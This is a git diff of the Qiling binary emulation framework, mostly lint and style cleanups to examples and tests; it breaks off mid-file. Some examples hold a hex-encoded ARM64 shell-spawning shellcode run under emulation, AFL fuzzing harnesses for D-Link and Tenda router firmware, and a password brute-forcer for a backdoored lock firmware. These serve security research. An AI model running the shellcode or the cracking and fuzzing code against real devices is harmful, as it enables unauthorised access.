ql.os.stdout.write(b"=====hooked main=====!\n") return + def my_sandbox(path, rootfs): ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DISASM) # QL_VERBOSE.DISASM will be monkey-patched when r2 is available @@ -37,12 +38,20 @@ def my_sandbox(path, rootfs): # r2.enable_trace() ql.run() + if __name__ == "__main__": my_sandbox(["rootfs/x86_windows/bin/x86_hello.exe"], "rootfs/x86_windows") # test shellcode mode - ARM64_LIN = bytes.fromhex('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800') + ARM64_LIN = bytes.fromhex(''' + 420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2 + 681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f1 + 65ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f000001 + 2f62696e2f736800 + ''') + print("\nLinux ARM 64bit Shellcode") + ql = Qiling(code=ARM64_LIN, archtype=QL_ARCH.ARM64, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) r2 = R2(ql) # disassemble 32 instructions diff --git a/examples/extensions/report/hello_x86_windows_json.py b/examples/extensions/report/hello_x86_windows_json.py index 10335480b..1731e5df0 100644 --- a/examples/extensions/report/hello_x86_windows_json.py +++ b/examples/extensions/report/hello_x86_windows_json.py @@ -4,10 +4,9 @@ # import sys - sys.path.append("..") -from qiling import * +from qiling import Qiling from qiling.const import QL_VERBOSE from qiling.extensions.report import generate_report diff --git a/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py b/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py index 7e9416044..8505c8e03 100644 --- a/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py +++ b/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py @@ -1,19 +1,20 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # # Everything about the bug and firmware https://www.exploit-db.com/exploits/33863 import os,sys - sys.path.append("../../..") -from qiling import * + +from qiling import Qiling from qiling.const import QL_VERBOSE from qiling.extensions.afl import ql_afl_fuzz + def main(input_file, enable_trace=False): - + env_vars = { "REQUEST_METHOD": "POST", "REQUEST_URI": "/hedwig.cgi", @@ -24,9 +25,8 @@ def main(input_file, enable_trace=False): } ql = Qiling(["./rootfs/htdocs/web/hedwig.cgi"], "./rootfs", - verbose=QL_VERBOSE.DEBUG, env=env_vars, - console = True if enable_trace else False) - + verbose=QL_VERBOSE.DEBUG, env=env_vars, console=enable_trace) + def place_input_callback(ql: Qiling, input: bytes, _: int): env_var = ("HTTP_COOKIE=uid=1234&password=").encode() env_vars = env_var + input + b"\x00" + (ql.path).encode() + b"\x00" diff --git a/examples/fuzzing/stm32f429/fuzz.py b/examples/fuzzing/stm32f429/fuzz.py index a2be712e7..14ea27e1a 100644 --- a/examples/fuzzing/stm32f429/fuzz.py +++ b/examples/fuzzing/stm32f429/fuzz.py @@ -1,21 +1,23 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # import os -import sys -from typing import Any, Optional +from typing import Optional +import sys sys.path.append("../../..") + from qiling.core import Qiling from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.afl import ql_afl_fuzz_custom from qiling.extensions.mcu.stm32f4 import stm32f429 -from unicorn import UC_ERR_OK, UcError +from unicorn import UC_ERR_OK + def main(input_file: str): ql = Qiling(["../../rootfs/mcu/stm32f429/bof.elf"], @@ -24,19 +26,19 @@ def main(input_file: str): ql.hw.create('rcc') ql.hw.create('usart2') ql.hw.create('usart3') - - ql.fast_mode = True + + ql.fast_mode = True def place_input_callback(ql: Qiling, input_bytes: bytes, persistent_round: int) -> Optional[bool]: """Called with every newly generated input.""" ql.hw.usart3.send(input_bytes) - + return True def fuzzing_callback(ql: Qiling): - ql.run(end=0x80006d9) - + ql.run(end=0x80006d9) + return UC_ERR_OK ql_afl_fuzz_custom(ql, input_file, place_input_callback, fuzzing_callback=fuzzing_callback, exits=[0x80006d9]) diff --git a/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py b/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py index d30d01de4..64738d622 100644 --- a/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py +++ b/examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -11,13 +11,16 @@ # 5. rm -rf webroot && mv webroot_ro webroot # 5. mv etc_ro etc -import os, pickle, socket, sys, threading +import os +import sys sys.path.append("../../../") -from qiling import * + +from qiling import Qiling from qiling.const import QL_VERBOSE from qiling.extensions.afl import ql_afl_fuzz + def patcher(ql): br0_addr = ql.mem.search("br0".encode() + b'\x00') for addr in br0_addr: @@ -44,14 +47,14 @@ def start_afl(_ql: Qiling): ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point]) ql.hook_address(callback=start_afl, address=0x10930+8) - + try: ql.run(begin = 0x10930+4, end = 0x7a0cc+4) os._exit(0) except: if enable_trace: print("\nFuzzer Went Shit") - os._exit(0) + os._exit(0) if __name__ == "__main__": if len(sys.argv) == 1: diff --git a/examples/hello_arm_uboot.py b/examples/hello_arm_uboot.py index 0cdb70a2b..9544fe0ee 100644 --- a/examples/hello_arm_uboot.py +++ b/examples/hello_arm_uboot.py @@ -10,6 +10,7 @@ from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.os.const import STRING + def get_kaimendaji_password(): def my_getenv(ql: Qiling): env = { @@ -56,7 +57,6 @@ def partial_run_init(ql: Qiling): ql.arch.regs.r2 = 2 ql.arch.regs.r3 = argv_ptr - with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f: uboot_code = f.read() @@ -70,5 +70,6 @@ def partial_run_init(ql: Qiling): ql.run(image_base_addr + 0x486B4, image_base_addr + 0x48718) + if __name__ == "__main__": get_kaimendaji_password() diff --git a/examples/mcu/gd32vf103_blink.py b/examples/mcu/gd32vf103_blink.py index 6ffbaab84..efcfd6286 100644 --- a/examples/mcu/gd32vf103_blink.py +++ b/examples/mcu/gd32vf103_blink.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -11,6 +11,7 @@ from qiling.extensions.mcu.gd32vf1 import gd32vf103 from qiling.const import QL_ARCH, QL_OS + ql = Qiling(['../rootfs/mcu/gd32vf103/blink.hex'], archtype=QL_ARCH.RISCV64, ostype=QL_OS.MCU, env=gd32vf103, verbose=QL_VERBOSE.DEBUG) @@ -21,9 +22,11 @@ delay_cycles_begin = 0x800015c delay_cycles_end = 0x800018c + def skip_delay(ql): ql.arch.regs.pc = delay_cycles_end + ql.hook_address(skip_delay, delay_cycles_begin) ql.hw.gpioc.hook_set(13, lambda : print('Set PC13')) diff --git a/examples/mcu/stm32f407_hack_lock.py b/examples/mcu/stm32f407_hack_lock.py index b6a2bbfc6..e6780ada7 100644 --- a/examples/mcu/stm32f407_hack_lock.py +++ b/examples/mcu/stm32f407_hack_lock.py @@ -1,13 +1,11 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # - -import sys from multiprocessing import Pool -from multiprocessing import Process +import sys sys.path.append("../..") from qiling.core import Qiling @@ -24,6 +22,7 @@ def dicts(): for x in range(1, 20): yield str((a*x*x + b*x + c) % M) + # Cracking the passwd of lock def crack(passwd): ql = Qiling(["../../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], @@ -55,6 +54,7 @@ def crack(passwd): del ql + pool = Pool() for passwd in dicts(): pool.apply_async(crack, args=(passwd,)) diff --git a/examples/mcu/stm32f411_dma_logger.py b/examples/mcu/stm32f411_dma_logger.py index 0e129b58d..b3f110179 100644 --- a/examples/mcu/stm32f411_dma_logger.py +++ b/examples/mcu/stm32f411_dma_logger.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -10,6 +10,7 @@ from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 + def stm32f411_dma(): ql = Qiling(["../rootfs/mcu/stm32f411/dma-clock.hex"], archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEBUG) @@ -21,10 +22,11 @@ def stm32f411_dma(): ql.run(count=200000) buf = ql.hw.usart2.recv() - ## check timestamp + # check timestamp tick = [int(x) for x in buf.split()] for i in range(1, len(tick)): - assert(4 <= tick[i] - tick[i - 1] <= 6) + assert (4 <= tick[i] - tick[i - 1] <= 6) + if __name__ == "__main__": - stm32f411_dma() \ No newline at end of file + stm32f411_dma() diff --git a/examples/mcu/stm32f411_freertos.py b/examples/mcu/stm32f411_freertos.py index c5c2ed460..104056ed8 100644 --- a/examples/mcu/stm32f411_freertos.py +++ b/examples/mcu/stm32f411_freertos.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -17,10 +17,11 @@ def stm32f411_freertos(): ql.hw.create('usart2').watch() ql.hw.create('gpioa').watch() - ql.hw.create('rcc') + ql.hw.create('rcc') ql.hw.systick.set_ratio(100) ql.run(count=200000) + if __name__ == "__main__": - stm32f411_freertos() \ No newline at end of file + stm32f411_freertos() diff --git a/examples/mcu/stm32f411_gpio_hook.py b/examples/mcu/stm32f411_gpio_hook.py index 22f369003..a766312d9 100644 --- a/examples/mcu/stm32f411_gpio_hook.py +++ b/examples/mcu/stm32f411_gpio_hook.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -10,6 +10,7 @@ from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 + def test_mcu_gpio_stm32f411(): ql = Qiling(["../../examples/rootfs/mcu/stm32f411/hello_gpioA.hex"], archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEBUG) @@ -17,12 +18,12 @@ def test_mcu_gpio_stm32f411(): ql.hw.create('usart2').watch() ql.hw.create('rcc').watch() ql.hw.create('gpioa').watch() - ql.hw.gpioa.hook_set(5, lambda: print('LED light up')) ql.hw.gpioa.hook_reset(5, lambda: print('LED light off')) ql.run(count=10000) + if __name__ == "__main__": test_mcu_gpio_stm32f411() diff --git a/examples/mcu/stm32f411_i2c_lcd.py b/examples/mcu/stm32f411_i2c_lcd.py index 1e98722e3..4b80e8c6f 100644 --- a/examples/mcu/stm32f411_i2c_lcd.py +++ b/examples/mcu/stm32f411_i2c_lcd.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -12,33 +12,35 @@ from qiling.hw.external_device.lcd.lcd1602 import PyGameLCD1602 from qiling.extensions.mcu.stm32f4 import stm32f411 + def create(path, lcd): ql = Qiling([path], archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f411, verbose=QL_VERBOSE.DEBUG) ql.hw.create('i2c1') ql.hw.create('rcc') ql.hw.create('gpioa') - ql.hw.create('gpiob') + ql.hw.create('gpiob') ql.hw.i2c1.watch() - ql.hw.i2c1.connect(lcd) - + ql.hw.i2c1.connect(lcd) + ql.hw.systick.set_ratio(100) return ql + if __name__ == "__main__": - lcd = PyGameLCD1602() - - ## Example 1 + lcd = PyGameLCD1602() + + # Example 1 create("../rootfs/mcu/stm32f411/i2c-lcd.hex", lcd).run(count=50000) - ## Example 2 + # Example 2 create("../rootfs/mcu/stm32f411/lcd-plus.hex", lcd).run(count=100000) - - ## Example 3 + + # Example 3 ql = create("../rootfs/mcu/stm32f411/i2cit-lcd.hex", lcd) - + delay_start = 0x8002936 delay_end = 0x8002955 def skip_delay(ql): diff --git a/examples/mcu/stm32f411_interact_usart.py b/examples/mcu/stm32f411_interact_usart.py index ab1dcabad..c1086b2fb 100644 --- a/examples/mcu/stm32f411_interact_usart.py +++ b/examples/mcu/stm32f411_interact_usart.py @@ -1,15 +1,15 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys -sys.path.append("../..") - import time import threading +import sys +sys.path.append("../..") + from qiling.core import Qiling from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f411 @@ -25,8 +25,8 @@ while True: message = input('>> ').encode() - + ql.hw.usart2.send(message + b'\n') - + time.sleep(0.8) print(ql.hw.usart2.recv()) diff --git a/examples/mcu/stm32f411_spi_oled12864.py b/examples/mcu/stm32f411_spi_oled12864.py index c8877f209..0eb23079b 100644 --- a/examples/mcu/stm32f411_spi_oled12864.py +++ b/examples/mcu/stm32f411_spi_oled12864.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # diff --git a/qiling/core.py b/qiling/core.py index ab85be0f9..61ec85cbb 100644 --- a/qiling/core.py +++ b/qiling/core.py @@ -39,13 +39,13 @@ def __init__( ostype: Optional[QL_OS] = None, archtype: Optional[QL_ARCH] = None, verbose: QL_VERBOSE = QL_VERBOSE.DEFAULT, - profile: str = None, + profile: Optional[Union[str, Mapping]] = None, console: bool = True, - log_file=None, - log_override=None, + log_file: Optional[str] = None, + log_override: Optional['Logger'] = None, log_plain: bool = False, multithread: bool = False, - filter = None, + filter: Optional[str] = None, stop: QL_STOP = QL_STOP.NONE, *, endian: Optional[QL_ENDIAN] = None, diff --git a/qiling/os/windows/windows.py b/qiling/os/windows/windows.py index 6cb8bc5b0..921ba8dcc 100644 --- a/qiling/os/windows/windows.py +++ b/qiling/os/windows/windows.py @@ -29,6 +29,7 @@ import qiling.os.windows.dlls as api + class QlOsWindows(QlOs): type = QL_OS.WINDOWS @@ -94,7 +95,6 @@ def __make_fcall_selector(atype: QL_ARCH) -> Callable[[int], QlFunctionCall]: self.stdout = self._stdout self.stderr = self._stderr - @QlOs.stdin.setter def stdin(self, stream: TextIO) -> None: self._stdin = stream @@ -122,7 +122,6 @@ def stderr(self, stream: TextIO) -> None: handle.obj = stream - def load(self): self.setupGDT() self.__setup_components() @@ -135,8 +134,8 @@ def setupGDT(self): gdtm = GDTManager(self.ql) segm_class: Type[SegmentManager] = { - 32 : SegmentManager86, - 64 : SegmentManager64 + 32: SegmentManager86, + 64: SegmentManager64 }[self.ql.arch.bits] # setup gdt and segments selectors @@ -155,7 +154,6 @@ def setupGDT(self): self.ql.mem.map(GS_SEGMENT_ADDR, GS_SEGMENT_SIZE, info='[GS]') - def __setup_components(self): reghive = self.path.transform_to_real_path(ntpath.join(self.windir, 'registry')) @@ -201,12 +199,11 @@ def hook_winapi(self, ql: Qiling, address: int, size: int): if ql.debug_stop: raise QlErrorSyscallNotFound("Windows API implementation not found") - def run(self): if self.ql.exit_point is not None: self.exit_point = self.ql.exit_point - if self.ql.entry_point is not None: + if self.ql.entry_point is not None: self.ql.loader.entry_point = self.ql.entry_point entry_point = self.ql.loader.entry_point diff --git a/qiling/utils.py b/qiling/utils.py index 05cb0a43e..c907204e7 100644 --- a/qiling/utils.py +++ b/qiling/utils.py @@ -442,7 +442,7 @@ def profile_setup(ostype: QL_OS, user_config: Optional[Union[str, dict]]): elif user_config: config.read(user_config) - + return config diff --git a/qltool b/qltool index e949d985f..392ca5ace 100755 --- a/qltool +++ b/qltool @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -8,6 +8,7 @@ import os import sys import ast import pickle + from pprint import pprint from typing import TYPE_CHECKING, Mapping, Type @@ -33,8 +34,9 @@ def read_file(fname: str): return content + class __arg_env(argparse.Action): - def __call__(self, parser, namespace, values, option_string): + def __call__(self, parser, namespace, values: str, option_string): if os.path.exists(values): with open(values, 'rb') as f: env = pickle.load(f) @@ -70,12 +72,12 @@ def handle_code(options: argparse.Namespace): if options.format == 'hex': if options.input is not None: - print ("Load HEX from ARGV") + print("Load HEX from ARGV") code = str(options.input).strip("\\\\x").split("x") code = "".join(code).strip() - code = bytes.fromhex(code) + code = bytes.fromhex(code) elif options.filename is not None: - print ("Load HEX from FILE") + print("Load HEX from FILE") code = str(read_file(options.filename)).strip('b\'').strip('\\n') code = code.strip('x').split("\\\\x") code = "".join(code).strip() @@ -85,7 +87,7 @@ def handle_code(options: argparse.Namespace): exit(1) elif options.format == 'asm': - print ("Load ASM from FILE") + print("Load ASM from FILE") assembly = read_file(options.filename) assembler = arch_utils.assembler(options.arch, archendian, options.thumb) @@ -93,7 +95,7 @@ def handle_code(options: argparse.Namespace): code = bytes(code) elif options.format == 'bin': - print ("Load BIN from FILE") + print("Load BIN from FILE") if options.filename is not None: code = read_file(options.filename) else: @@ -115,6 +117,7 @@ def handle_code(options: argparse.Namespace): return ql + def handle_run(options: argparse.Namespace): effective_argv = [] @@ -150,6 +153,7 @@ def handle_run(options: argparse.Namespace): return ql + def handle_examples(parser: argparse.ArgumentParser): prog = os.path.basename(__file__) @@ -187,6 +191,7 @@ def handle_examples(parser: argparse.ArgumentParser): parser.exit(0, __ql_examples) + if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--version', action='version', version=f'qltool for Qiling {ql_ver}, using Unicorn {uc_ver}') @@ -236,7 +241,7 @@ if __name__ == '__main__': comm_parser.add_argument('--log-plain', action='store_true', help="do not use colors in log output") comm_parser.add_argument('--root', action='store_true', help='enable sudo required mode') comm_parser.add_argument('--debug-stop', action='store_true', help='stop running on error; requires verbose to be set to either "debug" or "dump"') - comm_parser.add_argument('-m', '--multithread',action='store_true', help='run in multithread mode') + comm_parser.add_argument('-m', '--multithread', action='store_true', help='run in multithread mode') comm_parser.add_argument('--timeout', type=int, default=0, help='set emulation timeout') comm_parser.add_argument('-c', '--coverage-file', default=None, help='code coverage file name') comm_parser.add_argument('--coverage-format', default='drcov', choices=cov_utils.factory.formats, help='code coverage file format') diff --git a/tests/test_blob.py b/tests/test_blob.py index 26bd5f7f2..bc191dc16 100644 --- a/tests/test_blob.py +++ b/tests/test_blob.py @@ -3,13 +3,16 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, unittest +import unittest + +import sys sys.path.append("..") from qiling.core import Qiling from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.os.const import STRING + class BlobTest(unittest.TestCase): def test_uboot_arm(self): def my_getenv(ql, *args, **kwargs): diff --git a/tests/test_debugger.py b/tests/test_debugger.py index ca7ca33e9..c8df8ae0c 100644 --- a/tests/test_debugger.py +++ b/tests/test_debugger.py @@ -1,14 +1,20 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, threading, unittest, socket, time +import socket +import threading +import time +import unittest +import sys sys.path.append("..") + from qiling import Qiling from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE + class SimpleGdbClient: DELAY = 0.6 @@ -37,8 +43,8 @@ def send(self, msg: str): self.__file.write(f'${msg}#{SimpleGdbClient.checksum(msg):02x}') self.__file.flush() -class DebuggerTest(unittest.TestCase): +class DebuggerTest(unittest.TestCase): def test_gdbdebug_file_server(self): ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) ql.debugger = True @@ -192,5 +198,6 @@ def gdb_test_client(): ql.run() del ql + if __name__ == "__main__": - unittest.main() \ No newline at end of file + unittest.main() diff --git a/tests/test_edl.py b/tests/test_edl.py index 7f86845a0..5f8c80b11 100644 --- a/tests/test_edl.py +++ b/tests/test_edl.py @@ -3,47 +3,50 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import os, sys, time, unittest +import time +import unittest + from struct import pack +from typing import Callable +import sys sys.path.append("..") -from qiling import * + +from qiling import Qiling from qiling.const import QL_VERBOSE from unicorn import * -from unicorn.arm64_const import * - -def replace_function(ql,addr,callback): - def runcode(ql): - ret=callback(ql) - ql.arch.regs.x0=ret - ql.arch.regs.pc=ql.arch.regs.x30 #lr - ql.hook_address(runcode,addr) - -def hook_mem_invalid(uc, access, address, size, value, user_data): - pc = uc.reg_read(UC_ARM64_REG_PC) - if access == UC_MEM_WRITE: - info=("invalid WRITE of 0x%x at 0x%X, data size = %u, data value = 0x%x" % (address, pc, size, value)) - if access == UC_MEM_READ: - info=("invalid READ of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH: - info=("UC_MEM_FETCH of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_READ_UNMAPPED: - info=("UC_MEM_READ_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_WRITE_UNMAPPED: - info=("UC_MEM_WRITE_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH_UNMAPPED: - info=("UC_MEM_FETCH_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_WRITE_PROT: - info=("UC_MEM_WRITE_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH_PROT: - info=("UC_MEM_FETCH_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_FETCH_PROT: - info=("UC_MEM_FETCH_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - if access == UC_MEM_READ_AFTER: - info=("UC_MEM_READ_AFTER of 0x%x at 0x%X, data size = %u" % (address, pc, size)) - print(info) + + +def replace_function(ql: Qiling, addr: int, callback: Callable): + def runcode(ql: Qiling): + ret = callback(ql) + ql.arch.regs.x0 = ret + ql.arch.regs.pc = ql.arch.regs.x30 # lr + + ql.hook_address(runcode, addr) + + +def hook_mem_invalid(ql: Qiling, access: int, address: int, size: int, value: int, user_data): + pc = ql.arch.regs.arch_pc + + info = { + UC_MEM_WRITE: f"invalid WRITE {address:#x} at {pc:#X}, data size = {size:d}, data value = {value:#x}", + UC_MEM_READ: f"invalid READ {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_FETCH: f"UC_MEM_FETCH {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_READ_UNMAPPED: f"UC_MEM_READ_UNMAPPED {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_WRITE_UNMAPPED: f"UC_MEM_WRITE_UNMAPPED {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_FETCH_UNMAPPED: f"UC_MEM_FETCH_UNMAPPED {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_WRITE_PROT: f"UC_MEM_WRITE_PROT of {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_FETCH_PROT: f"UC_MEM_FETCH_PROT of {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_FETCH_PROT: f"UC_MEM_FETCH_PROT of {address:#x} at {pc:#X}, data size = {size:d}", + UC_MEM_READ_AFTER: f"UC_MEM_READ_AFTER of {address:#x} at {pc:#X}, data size = {size:d}" + } + + print(info[access]) + return False + class TestAndroid(unittest.TestCase): def test_edl_arm64(self): test_binary = "../examples/rootfs/arm64_edl/bin/arm64_edl" @@ -92,5 +95,6 @@ def devprg_tx_blocking(ql): del ql + if __name__ == "__main__": unittest.main() diff --git a/tests/test_elf.py b/tests/test_elf.py index dc9f187b2..b5f4545bb 100644 --- a/tests/test_elf.py +++ b/tests/test_elf.py @@ -1,11 +1,18 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import sys, unittest, string, random, os, io, re +import unittest +import string +import random +import os +import io +import re +import sys sys.path.append("..") + from qiling import Qiling from qiling.const import QL_ARCH, QL_OS, QL_INTERCEPT, QL_STOP, QL_VERBOSE from qiling.exception import * @@ -14,8 +21,8 @@ from qiling.os.posix import syscall from qiling.os.mapper import QlFsMappedObject -class ELFTest(unittest.TestCase): +class ELFTest(unittest.TestCase): def test_libpatch_elf_linux_x8664(self): ql = Qiling(["../examples/rootfs/x8664_linux/bin/patch_test.bin"], "../examples/rootfs/x8664_linux") @@ -23,13 +30,11 @@ def test_libpatch_elf_linux_x8664(self): ql.run() del ql - - def test_elf_freebsd_x8664(self): + def test_elf_freebsd_x8664(self): ql = Qiling(["../examples/rootfs/x8664_freebsd/bin/x8664_hello_asm"], "../examples/rootfs/x8664_freebsd", verbose=QL_VERBOSE.DUMP) ql.run() del ql - def test_elf_partial_linux_x8664(self): def dump(ql, *args, **kw): ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin") @@ -169,11 +174,10 @@ def my_puts_exit(ql): self.assertEqual(0x1, self.test_exit_rdi) self.assertEqual("CCCC", self.test_enter_str) - + del self.test_exit_rdi del self.test_enter_str - del ql - + del ql def test_elf_linux_x8664_flex_api(self): opened = [] @@ -201,13 +205,11 @@ def hook_main(ql: Qiling): # test whether we interpected opening urandom self.assertListEqual(opened, [r'/dev/urandom']) - def test_elf_linux_x8664_static(self): ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello_static"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) ql.run() del ql - def test_elf_linux_x86(self): filename = 'test.qlog' @@ -217,18 +219,16 @@ def test_elf_linux_x86(self): os.remove(filename) del ql - def test_elf_linux_x86_static(self): ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_hello_static"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) ql.run() del ql - def test_elf_linux_x86_posix_syscall(self): def test_syscall_read(ql, read_fd, read_buf, read_count, *args): target = False pathname = ql.os.fd[read_fd].name.split('/')[-1] - + if pathname == "test_syscall_read.txt": print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) target = True @@ -318,10 +318,10 @@ def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): target = False pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] - + reg = ql.arch.regs.read("eax") print("reg : 0x%x" % reg) - ql.arch.regs.eax = reg + ql.arch.regs.eax = reg if pathname == "test_syscall_ftruncate.txt": print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) @@ -347,8 +347,7 @@ def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): ql.run() del ql - - def test_elf_linux_arm(self): + def test_elf_linux_arm(self): def my_puts(ql): params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) print(f'puts("{params["s"]}")') @@ -361,137 +360,131 @@ def my_puts(ql): ql.run() del ql - - def test_elf_linux_arm_static(self): + def test_elf_linux_arm_static(self): ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello_static"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEFAULT) all_mem = ql.mem.save() ql.mem.restore(all_mem) ql.run() del ql - # syscall testing for ARM, will be uncomment after ARM executable generated properly. # def test_elf_linux_arm_posix_syscall(self): - # def test_syscall_read(ql, read_fd, read_buf, read_count, *args): - # target = False - # pathname = ql.os.fd[read_fd].name.split('/')[-1] - - # if pathname == "test_syscall_read.txt": - # print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) - # target = True - - # syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) - - # if target: - # real_path = ql.os.fd[read_fd].name - # with open(real_path) as fd: - # assert fd.read() == ql.mem.read(read_buf, read_count).decode() - # os.remove(real_path) - - # def test_syscall_write(ql, write_fd, write_buf, write_count, *args): - # target = False - # pathname = ql.os.fd[write_fd].name.split('/')[-1] - - # if pathname == "test_syscall_write.txt": - # print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) - # target = True - - # syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) - - # if target: - # real_path = ql.os.fd[write_fd].name - # with open(real_path) as fd: - # assert fd.read() == 'Hello testing\x00' - # os.remove(real_path) - - # def test_syscall_open(ql, open_pathname, open_flags, open_mode, *args): - # target = False - # pathname = ql.os.utils.read_cstring(open_pathname) - - # if pathname == "test_syscall_open.txt": - # print("test => open(%s, 0x%x, 0%o)" % (pathname, open_flags, open_mode)) - # target = True - - # syscall.ql_syscall_open(ql, open_pathname, open_flags, open_mode, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.path.isfile(real_path) == True - # os.remove(real_path) - - # def test_syscall_unlink(ql, unlink_pathname, *args): - # target = False - # pathname = ql.os.utils.read_cstring(unlink_pathname) - - # if pathname == "test_syscall_unlink.txt": - # print("test => unlink(%s)" % (pathname)) - # target = True - - # syscall.ql_syscall_unlink(ql, unlink_pathname, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.path.isfile(real_path) == False - - # def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): - # target = False - # pathname = ql.os.utils.read_cstring(trunc_pathname) - - # if pathname == "test_syscall_truncate.txt": - # print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) - # target = True - - # syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) - - # if target: - # real_path = ql.os.path.transform_to_real_path(pathname) - # assert os.stat(real_path).st_size == 0 - # os.remove(real_path) - - # def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): - # target = False - # pathname = 